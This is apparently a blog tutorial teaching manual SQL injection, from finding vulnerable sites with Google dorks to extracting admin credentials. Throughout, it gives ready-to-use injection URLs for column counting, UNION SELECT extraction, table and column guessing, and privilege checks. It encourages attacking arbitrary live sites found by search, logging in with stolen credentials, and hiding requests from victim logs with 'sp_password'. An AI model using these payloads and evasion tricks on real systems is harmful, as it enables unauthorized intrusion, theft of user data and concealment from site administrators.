I have received a lot questions stemming from my series I did on SQLMAP on how to actually perform SQL Injections manually and how you can tell whether or not a site is vulnerable. I had my own personal collection of notes and references I have made over time and decided to put them all together into one large reference guide. This should help folks new to SQL Injection to understand it better as well as some of the more common methods that are used to perform these types of attacks. I have done my best to take the best of everything and make it as user friendly as possible and am even giving it its own dedicated page. If you have any questions or if I left anything off please don’t hesitate to contact me or leave a comment to let me know so I can update things. I will start with Basic SQLi and add pages as time goes on to cover the other methods and techniques...
BASIC SQLi 101:
SQL Injection vulnerabilities are one of the most common vulnerabilities found today, and quite often are very easy to both exploit AND FIX. What can happen if site is vulnerable to SQL Injection? If a site is vulnerable an attacker can do a whole range of tasks ranging from extracting data from the backend database (tables & columns which hold the user info and other juicy details). A skilled attacker can even use these weaknesses to load shells onto the host and gain full root access to the remote vulnerable machine (See SQLMAP + Metasploit Tutorial I did). So I how does one learn SQL Injection (from here out SQLi)? The best way to learn is to learn how to do it manually, and I will show you the way. Follow these basic steps...
How to Find a Vulnerable Site to begin?
In order to begin working on SQLi we need to first find a site that is vulnerable. How you ask? Easy, just ask Google to do the work for us! You can search the internet for what most refer to as DORK list. These are queries that take advantage of the Google search engine and how it works to find sites for us that fit our interest at hand. Google Dorks is a subject all in itself so I won’t go into details here, just know you can get as custom or borrowed as you want, but custom will always have better results. Here are a few examples to help you get started, just insert any of the below to this search request:
OK, so I will use these for my example:
NOTE: most examples won't have an actual number provided, but I have found I tend to find more "real" sites if I choose to use a real number. Once you run a few thousand searches you will know what I mean, for now it is up to you.
Result: (in addition to thousands more):
OK, so now we have a list of potential sites to start testing to see if we can find one that is vulnerable. I will begin testing using the example site listed above. In order to begin we will first open the link in our favorite browser (I suggest Chrome or Firefox) and navigate to the first site found by Google. We want to confirm before we test that the site is actually there and working, for the moral folks out there this is your chance to review the site to make sure you want to continue. OK, so the webpage comes up fine and we can see the page as intended. In order to perform the most basic test we will simply add a single quoteto the end of the URL, like so:
The key now is to see if the webpage refreshes correctly or if it refreshes with errors on the page. If you refresh the page with the single quote added to the end of the URL and it loads 100% the same as it did originally then it is not vulnerable to SQLi and you can move on to the next link from our Google results page. If however it does not refresh 100%, it is an indication that the page is potentially vulnerable to SQLi. Key indicators that the page is vulnerable may simply be missing items like text/pictures/banners/etc, or it could be one of the following messages appearing on the refreshed page (possibly associated with some type of error report):
· Error Occurred While Processing Request
· Server Error in '/' Application
· Microsoft OLE DB Provider for ODBC Drivers error
· error in your SQL syntax
· Invalid Querystring
· OLE DB Provider for ODBC
· VBScript Runtime
· BOF or EOF
· JET Database
· Syntax error
· Input string was not in a correct format
· Microsoft VBScript;
SAMPLE IMAGE - PAGE BEFORE ‘ WAS ADDED:
SAMPLE IMAGE - PAGE AFTER ‘ WAS ADDED:SQLi & WAF BYPASSING
Advanced Techniques on Blind Injection & Time-Based Injection can be found here: BLIND & TIME-BASED INJECTION
Once we find a page that doesn't properly refresh or we are greeted by one of the above messages it is time for the fun to begin, as now we can start working away to see what all we can gather from the found vulnerable link.
QUICK SQL COMMANDS OVERVIEW:
UNION ALL – Combine multiple columns
SELECT – Selecting the information you want
ORDER BY – Orders columns by alphabetical or numerical order
LIMIT – The number of the selected field to be displayed
FROM – Selecting where you want to pull the information you want from.
CONCAT – Short for concatenate which means to combine two strings into a one.
GROUP_CONCAT – Grouping all values from a concatenated string
USING ORDER-BY TO DETERMINE THE NUMBER OF COLUMNS:
OK, so we have found vulnerable page but what now? Now we are going to need to find out the number of columns and then which of the columns is vulnerable so we know which one to use to extract information from. The idea here will follow similar to above where we found the vulnerable site in that we will be taking our working link and adding an ORDER BY statement to it to find interesting information. Here is the first request we would build:
If the page refreshes OK then this generally indicates that there is a column present. We will increase the ORDER BY statement until we find where the columns end and an error is generated, thus proving we found the end. The trick is to just keep repeating until you find a count that error out.
http://www.site.com/index.php?id=725+ORDER+BY+1,2-- (NO Errors on Page)
http://www.site.com/index.php?id=725+ORDER+BY+1,2,3-- (NO Errors on Page)
http://www.site.com/index.php?id=725+ORDER+BY+1,2,3,4-- (NO Errors on Page)
http://www.site.com/index.php?id=725+ORDER+BY+1,2,3,4,5-- (NO Errors on Page)
http://www.site.com/index.php?id=725+ORDER+BY+1,2,3,4,5,6-- (ERRORS FOUND!!!!!)
You will generally know when you find the end of the line as the error message returned will typically include the following text:
Unknown Column "6"
Where 6 would be the number of the missing column. This error message lets us know that there is one less than what we requested, thus indicating the actual column count. It may not be as clear in all cases, it, might just be the simple fact of triggering an error (just be observant for changes). In the above example it sent error message when we used the ORDER BY 6 query, thus indicating that there are only 5 columns.
SAMPLE IMAGE - NO ERRORS AS COLUMN IS PRESENT:
SAMPLE IMAGE - ERRORS FROM MISSING COLUMN:
There will be occasions when a page will trigger an error message from the initial asterisk check but when you seem to test the ORDER BY to find column count the page just seems to refresh 100% fine no matter how high you make the column count. In these cases we need to update our ORDER BY statement to include some additional items, in these tests we will leave the single quote at the end of our URL, preceding ORDER BY statement, and then we will add some ending bits to the end of our closing tags. I will bold the updated differences in the requests below; hopefully you can see the differences:
http://site.com/index.php?id=725'ORDER+BY+1--+- (NO Error on Page)
http://site.com/index.php?id=725'ORDER+BY+1,2--+- (NO Error on Page)
http://site.com/index.php?id=725'ORDER+BY+1,2,3--+- (NO Error on Page)
http://site.com/index.php?id=725'ORDER+BY+1,2,3,4--+- (NO Error on Page)
http://site.com/index.php?id=725'ORDER+BY+1,2,3,4,5--+- (NO Error on Page)
http://site.com/index.php?id=725'ORDER+BY+1,2,3,4,5,6--+- (ERRORS FOUND!!)
Again it should be clear when you have found the last column as you should get some type of message indicating that there is an "unknown column "X"" on the refreshed page.
TIP: to save time testing both methods I generally will jump the increments by 5 to start and then move to 25 at a time or more. This will save you a lot of time as it will indicate string or integer type rather quickly and you can simply narrow it down when you find you have gone too far
OK, so now we know there are 6 columns, but what next? Once the column count is known we must determine which of the columns is vulnerable so we can extract information, and for this we will use the UNION SELECT statement...
UNION SELECT TO FIND VULNERABLE COLUMN:
OK so now we have found a target site with a vulnerable link and known column count. Let us now dig in and start retrieving information from the backend database. We will start by modifying our previous ORDER BY statement to use UNION SELECT statement instead. It should now look like this:
We will now refresh the page and see if it weirds out and shows us anything interesting. We will be looking for column numbers to be displayed in the page. This is the backend database actually showing us what columns are being used to display information on the page, which we will then take advantage of by using them to display our custom requested information. I must call out that often times you will not find out anything from our base request, but you will find that if we null the statement out then the backend database will start talking to us. We accomplish this by either actually NULLing it out, or simply by making it negative, like so:
id=725 turns into id=-725
EXAMPLE NULL1: http://www.site,com/index.php?id=NULL+UNION+SELECT+1,2,3,4,5--
EXAMPLE NULL2: http://www.site,com/index.php?id=(0)'+UNION+SELECT+1,2,3,4,5--+-
SAMPLE IMAGE - BEFORE NULL:
SAMPLE IMAGE - AFTER NULL:
You should now have the page refresh and be greeted with small numbers randomly thrown throughout the page. You might have to really search for them to find them, but you should find easy enough. I should note that sometimes it will only be visible in the source code of the page, but like I said most of the time it is easy enough to find. These numbers will indicate what columns we can use to extract data with. For purposes of this tutorial we will assume we found the number 2,4,5 on the page indicating columns 2,4, & 5 are vulnerable and can be used to display our results. Now we will use the UNION SELECT statement to start extracting basic details...
UNION SELECT TO FIND VERSION, CURRENT DATABASE, CURRENT USER:
Column Count: 5
Vulnerable Columns: 2,4,5
OK, so we found some information about our target to indicate it is vulnerable to SQLi so lets now check to see how vulnerable it really is and what all we can find. We will first check the Database version to determine which method we will use to extract information in next steps, as the methods used will differ based on version (>=5 OR <5). In order to do this we will use our UNION SELECT statement to find out the version info first, like so:
NOTE: if you don’t get positive results with the above you can swap "@@version" for "version()". Depending on the system configuration it may prefer the @@ or the () calls, so make sure to test both if you’re not having any luck.
You should get some type of result displayed where it previously showed the number 2, since in this case we have replaced the column2 with our request for version(). You should see something along the lines of one of these which will indicate the version number:
NOTE: you can make assumptions about the host OS based on some of the trailing tags to the version. i.e. "-log" and "community-log" tend to indicate a Windows based host OS, while things like "0ubuntu10" tend to indicate a Linux Ubuntu based OS.
OK, now we know the version number...let’s also check to see what the current database is and who the current user is. We will accomplish this by adding in the request statements for user and current database, like so:
We should now see the numbers that were indicating our vulnerable columns now change to display the requested data, which in this case was version, user, and current database. You results should look something like this:
user=username@localhost OR username@% OR email@example.com
NOTE: If you see the "@%" of "@there.actual.ip.address" then this is a strong indication that the actual database server will allow remote connections to be established(hint hint, wink wink), while "@localhost" typically indicates you can only make connections to the DB from the host machine itself
current database=whatever they have happened to name the current database (this refers to the one that is actually being used to serve the web content for the active page you are using to inject on, as there may be many other databases actually available).
OBTAINING TABLES AND COLUMNS USING UNION SELECT:
As I mentioned above this step is dependent on the database version, most notably due to the fact that versions prior to version 5 do not have the INFORMATION_SCHEMA table which links everything together. This means that for versions 5 or higher we can use the Information_Schema table as a base to plant our SQLi statements whereas in versions prior to v5 we have no base to stand on and thus are stuck having to bruteforce or guess the table and column names. Below should outline the different methods used based on the version type, so make sure you are following the right method or you won’t have any luck at all...
VERSION IS >=5:
If the version is greater than or equal to version 5 then we are in luck and our work will not be nearly as hard. We will begin by taking the information we gathered above in the first few steps and now start using it to map out the database and get the table names. We will use Information_Schema table to start getting the tables, like this:
This will display a single table name in the vulnerable column 2 place on the page. OK, that is nice...but how do we speed things up to get them all? Ah, yes...we will need to use GROUP_CONCAT() statement to get more than one result at a time, like this:
This will now display all of the tables in the database. This will include all of the default tables that are included and basically useless to us as they contain no real information that we can use. They also tend to make our results fall off the page if you will as there are simply too many of them. The default char count allowed to be displayed is set to 1054 so we are very limited in results we can get/use. In order to avoid this we can redefine our request statement to only get the tables for the current database we are in, like this:
This will now display all of the tables for only the current database we are in (much more useful). In order to keep the examples going we will assume that the above request resulted in us finding the following tables displayed on the page:
TABLES FOUND: Admin, News, Ads, Users
OK, now we are getting somewhere! We have found the "Admin" and "Users" tables, which are sure to hold some juicy information. We now need to find out the columns for each of the tables we want to investigate further. We will use similar syntax but change some of the references around so we pull column info instead of table info, like this:
NOTE: You will need to HEX the value of the Table Name in 99% of the time. If you don’t hex the table name the page will display an error with no results. If you hex the table name and re-run the request you will find it will work when it has been HEX'd.
If we continue to use our examples from above, the HEX version of the table names we found become:
· Admin = 0x41646d696e
· News = 0x4e657773
· Ads = 0x416473
· Users = 0x5573657273
The new request now looks like this:
The page will now display a list of the columns from the Admin table in the vulnerable column 2 spot on page. In this example we will assume we found the following column names:
OK, so now we know the current database, the column count, the vulnerable columns, the table names for the current database, and the columns associated with the found tables. it is now time to determine which column info we want to grab and from what tables. In this example we will be extracting the details from the Admin table to get the id, login, password, email, and access_level info. We will extract the info like this:
NOTE: 0x3a = : which can help separate the output results from one another as sometimes it can be difficult to tell where one ends and the next entry begins.
The results should be displayed on the page now showing the Admin information. Since we used GROUP_CONCAT() and not just CONCAT() we will get all entries in the table, if we used just CONCAT() we would only get the first entry. Here is what the format should look like:
You can repeat the above steps as necessary until you have retrieved all of the information you want or need from the backend database. You can then do what you want with the details, like continue your investigation and look for Admin panel to login with newly found credentials or possibly connect to the database directly and start manipulating the database content itself. This sums up the Extraction method for systems running greater than or equal to version 5 (>=5). I hope you enjoyed. If you are interested in how to perform these steps for versions prior to version 5 then please continue reading.
VERSION IS <5 (i.e. v1-4):
If the version is less than version 5 then we have our work cut out for us and our chances of success are greatly reduced due to the fact that we do not have the ability to use a base, like Information_Schema in v5+. This means we will essentially have to bruteforce or guess the tables and columns to map out the database. We will start from the examples used originally above and assume we returned a version of 4.x and now want to find tables and columns. We will begin by trying to determine the table names of the current database. We will simply start with common table names and look for TRUE (No Errors) or FALSE (Errors) in the displayed results, like this:
http://www.site.com/index.php?id=-725+UNION+SELECT+1,2,3,4,5+FROM+moderator-- (FALSE - Errors)
http://www.site.com/index.php?id=-725+UNION+SELECT+1,2,3,4,5+FROM+Admin-- (TRUE - No Errors)
http://www.site.com/index.php?id=-725+UNION+SELECT+1,2,3,4,5+FROM+usernames-- (FALSE - Errors)
http://www.site.com/index.php?id=-725+UNION+SELECT+1,2,3,4,5+FROM+Users-- (TRUE - No Errors)
http://www.site.com/index.php?id=-725+UNION+SELECT+1,2,3,4,5+FROM+Logins-- (TRUE - No Errors)
http://www.site.com/index.php?id=-725+UNION+SELECT+1,2,3,4,5+FROM+Members-- (FALSE - Errors)
http://www.site.com/index.php?id=-725+UNION+SELECT+1,2,3,4,5+FROM+pass-- (FALSE - Errors)
http://www.site.com/index.php?id=-725+UNION+SELECT+1,2,3,4,5+FROM+Passwords-- (TRUE - No Errors)
http://www.site.com/index.php?id=-725+UNION+SELECT+1,2,3,4,5+FROM+Email-- (TRUE - No Errors)
This works very similar to how we found column count in the beginning of our tutorial. We will just be substituting possible table names and looking for positive results where no errors are displayed, which indicate to us that there is a valid table name being used. This can be time consuming and no real qoog way of knowing when you have found them all, but I suggest using your brain and trying ones you would be interested in. If you want a good list of possible column and table names you can look at the inner workings of any of your favorite SQL Injection tools, like SQLMAP or Havij for example. Based on the above we found the following tables:
OK so we have found a few tables despite the fact it is version 4 backend DB, but now we need to see if we can find any columns so that we may extract some information successfully. We will need to change our syntax slightly to request column names for each of the tables found. We will need to input our expected column names into our vulnerable column spot we found at the beginning of our example (2,4, & 5). We will again just go down your list of possible column names and look for TRUE (No Errors) or FALSE (Errors) results on the display page since we will be connecting them to the found tables we know are there it will work. It will work like this:
http://www.site.com/index.php?id=-725+UNION+SELECT+1,id,3,4,5+FROM+Admin-- (TRUE-No Errors)
http://www.site.com/index.php?id=-725+UNION+SELECT+1,login,3,4,5+FROM+Admin-- (TRUE-No Errors)
OK, so we found the following columns for the table Admin, you may also notice that in each of the successful requests above it should have also displayed the first entry for each of your requested columns in place of the vulnerable column on the display page:
As we did for v5+, we will use GROUP_CONCAT() to extract multiple columns details at once. It will look like this:
Remember that the 0x3a just inserts a semicolon (:) into the output display to help separate the results. The results will look something like this:
This sums up the methods needed to perform basic SQLi on database that is <5. I hope you have enjoyed this overview on the basics needed to perform SQL Injection. I will also outline some tips, tricks, and generally helpful reference material below which I highly suggest reviewing to help you out when you are in certain situations where the basics are just not working.
ALTERNATIVE METHODS FOR CHECKING OR EXTRACTING BASIC INFO:
ALTERNATIVE METHODS FOR CHECKING VERSIONING:
Substitute the below in place of the "@@version" or "version()" that were used in the above examples:
· convert(@@version using latin1)
INTEGER: http://www.site.com/index.php?id=-725+UNION+SELECT+1,convert(@@version using latin1),3,4,5--
STRING: http://www.site.com/index.php?id=-725'+UNION+SELECT+1,convert(@@version using latin1),3,4,5--+-
These methods replace the UNION SELECT statement:
· and substring(@@version,1,1)=4
· and substring(@@version,1,1)=5
NOTE: You will need to test both and whichever one returns TRUE (or without any errors on page) will indicate the version number as either 4 or 5.
Sometimes you need try "=9" for MySQL 4 & "=10" for MySQL 5
ALTERNATIVE METHODS FOR CHECKING DATABASE:
Substitute the DB_NAME() in place of the "@@database" or "database()" that were used in the above examples:
This method replaces the UNION SELECT statement with a different syntax:
NOTE: this only works on versions 5+
To find all of the Databases available:
ALTERNATIVE METHODS FOR CHECKING USER:
Substitute the below in place of the "@@user" or "user()" that were used in the above examples:
These methods replace the UNION SELECT statement with a different syntax:
· SELECT user FROM mysql.user--
· or 1=convert(int,(USER))--
OTHER ITEMS OF INTEREST TO CHECK:
You can determine the Database Server's hostname using the following in your UNION SELECT statements, like we did for version/user/database examples above:
You can determine the Database Server's local directory using the following in your UNION SELECT statements, like we did for version/user/database examples above:
CHECK IF CURRENT USER IS SYSADMIN:
These methods replace the UNION SELECT statement with a different syntax:
· SELECT is_srvrolemember('sysadmin')--
o returns 1 for true (No Errors), 0 for false (Errors).
o You might also try "bulkadmin" or "systemadmin" in place of 'sysadmin' before giving up on things.
· SELECT is_srvrolemember('sysadmin', 'sa')--
o Checks if "sa" a sysadmin? returns 1 for true (No Errors), 0 for false (Errors).
o Again you might also try "bulkadmin" or "systemadmin" in place of 'sysadmin' before giving up.
• SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';
· SELECT host, user FROM mysql.user WHERE Super_priv = 'Y';
ALTERING OUTPUT RESULTS:
0x3a = :, which can be used in-between columns during extraction to help separate the results
0x0a = new line for results, which can be used to help make the output easier to read as it will drop each entry to a new line. This does not work on all systems, and most helpful to me when pulling emails.
LIMIT - can be used to alter how the output is displayed as it alters the query to only pull details from the defined start and end points.
In general you will see "LIMIT 0,1--" appended to the end of a request statement. If you want to pull or extract information on a specific set you can adjust it to fit your need. If for example you need the 99th entry you could simply append "LIMIT 99,1--" to the end of your request and it should filter your results based on what you have defined.
HOW TO KEEP YOUR SQLi REQUESTS OUT OF VICTIM LOGS:
It is known that by simply appending "sp_password" to the end of the query you can hide your requests from T-SQL logs due to the way it handles sp_password for security measures.
Here is what the Admin finds in logs instead of your records:
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
- Insecurity through security ;)
This is the end of the Basic SQLi Page. Please check back soon as I will be adding new pages every week for the next several weeks in order to provide the fullest SQLi reference guides on the net! Hope you have enjoyed, and thanks for stopping by - H.R.